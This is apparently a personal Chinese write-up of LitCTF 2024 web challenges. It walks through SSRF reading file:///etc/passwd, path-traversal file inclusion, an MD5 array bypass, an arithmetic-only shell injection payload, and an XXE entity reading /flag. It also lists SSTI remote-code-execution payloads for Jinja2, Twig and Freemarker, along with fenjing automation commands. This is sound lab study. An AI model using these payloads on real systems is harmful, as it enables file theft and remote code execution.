比较简单的几道题


2024LitCTF–Web方向复现记录

[LitCTF 2024]浏览器也能套娃?

image-20250903131339919

点进是一个浏览器界面 先随便试一下

http ://127.0.0.1

image-20250903131440941

通过url地址访问网页内容 比较容易想到ssrf

image-20250903131634430

之前笔记提到的ssrf的几种伪协议 试一下

image-20250903132007658

file:///etc/passwd

下一步去尝试几个常见路径

image-20250903132058307

[LitCTF 2024]高亮主题(划掉)背景查看器

image-20250903132410612

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {
// 读取并包含用户输入的文件
$file = $_GET['url'];
if (strpos($file, '..') === false) {
include $file;
} else {
echo "Access denied.";
}
} else {
echo "No file specified.";
}
?>

strpos函数作用

strpos($haystack, $needle):在字符串 $haystack 中查找 $needle 第一次出现的位置。如果找到了,返回位置(整数 ≥ 0) 如果没找到,返回 false

1
2
3
if (strpos($file, '..') === false) {
include $file;
}

如果 $file 不包含 ..strpos($file, '..') === false 执行 include $file

如果包含了 ..,条件不成立,就输出 "Access denied."

image-20250903133705274

抓包看到传进去的参数是theme

直接theme=../../../../flag就能得到

[LitCTF 2024]百万美元的诱惑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c > 2024) {
echo "好康的";
} else {
die("干巴爹干巴爹先辈~");
}
}
else {
die("开胃小菜))");
}

PHP 的 is_numeric() 函数用于检测变量是否为数字或数字字符串。

这里的意思就是c不能是数字而且还要大于2024

image-20250903193130765

这个绕过是数组绕过 buu里面有道easymd5 那个有解释

image-20250903193456827

得到dollar.php

访问

image-20250903193533721

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>

整个匹配就是要让x变成12

【bashfuck】bashshell无字母命令执行原理

【bashfuck】bashshell无字母命令执行原理 - FreeBuf网络安全行业门户

可以参考这个文章

$(())为0 通过取反得到$((~$(())))为-1

想要得到某个正整数 N

  1. 先构造 -(N+1)(通过重复 -1 相加)。
  2. 再用取反 ~,就能得到 N

所以要得到12

$(($(($(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))$(($(())))))))

这样构造

然后在html注释里查看flag

image-20250903202236097

[LitCTF 2024]SAS - Serializing Authentication

image-20250903210613495

简单的反序列化 代码给了username和passwd 构造反序列化让账号密码是登陆的就行

登陆的时候直接用构造出来的就行 不需要再加user

image-20250903210712071

[LitCTF 2024]exx

题目已经给了提示是xxe

image-20250904133747560

首页面长这样

随便登录一下抓包试试

image-20250904133903623

也是很明显的xxe格式

image-20250904135525294

读一下源代码

获取用户名和密码

检查用户名和密码是否为空

构造XML格式的数

发送AJAX请求

处理响应

输入的用户名直接回显到了页面上

XXE漏洞攻击——几道CTF题_xxe ctf-CSDN博客和这个题类似

然后找到flag的路径

image-20250904140341521

1
2
3
4
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///flag">
]>
<user><username>&name;</username><password>1</password></user>

[LitCTF 2024]一个….池子?

这个是有关于ssti的 还没有详细学习ssti 简单看一下

ssti的一个明显特征就是当用户的输入被服务器端的模板引擎作为模板代码处理时,会影响或改变生成的页面内容或行为

异常的模板行为:

如果用户输入被直接用于模板而没有适当的清理或转义,那么输入特定的模板语法可能导致页面显示异常或出现错误信息。

  • 输入类似 {{7*7}} 这样的表达式可能会:
    • 页面渲染出 49(说明输入被解析了)
    • 页面结构异常(说明语法被执行了)
    • 直接报错(说明模板引擎尝试解释输入)

👉 这是最直接的 探测手段

错误消息:

输入模板特定的语法后,服务器响应的错误消息可能会透露模板引擎的信息,比如类型、版本或错误的模板语句。

输出控制:

通过输入模板语言的控制结构(如循环和条件语句),攻击者可以控制输出内容,这可能表明模板引擎正在解析用户输入。

条件语句:

1
{% if 7*7 == 49 %}YES{% endif %}

如果页面出现 YES,说明模板引擎执行了逻辑。

循环语句:

1
{% for i in range(3) %}TEST{% endfor %}

如果页面出现 TESTTESTTEST,说明循环被执行。

命令执行:

如果用户能够通过输入执行系统命令,并且这些命令的结果反映在响应中,这几乎可以肯定是SSTI。
攻击者通过模板语法调用系统 API 或对象执行命令

jinja2:

1
{{ cycler.__init__.__globals__.os.popen('id').read() }}

Twig:

1
{{ ['id']|filter('system') }}

Freemarker:

1
${"freemarker.template.utility.Execute"?new()("id")}

一旦命令执行成功,并且结果在响应中返回,那就确认是 SSTI 漏洞,而且能导致远程代码执行(RCE)。

具体的看ssti的笔记

fenjing crack -u http://node4.anna.nssctf.cn:28186/echo –method POST –inputs input –interval 0.01

fenjing crack -u http://node4.anna.nssctf.cn:28136/ssti –method POST –inputs name –interval 0.01

安装fenjing

执行上面的代码一键梭哈

image-20250904173708184

用的时候题目不一样要修改一些参数 比如post还是get 以及传参进去的参数名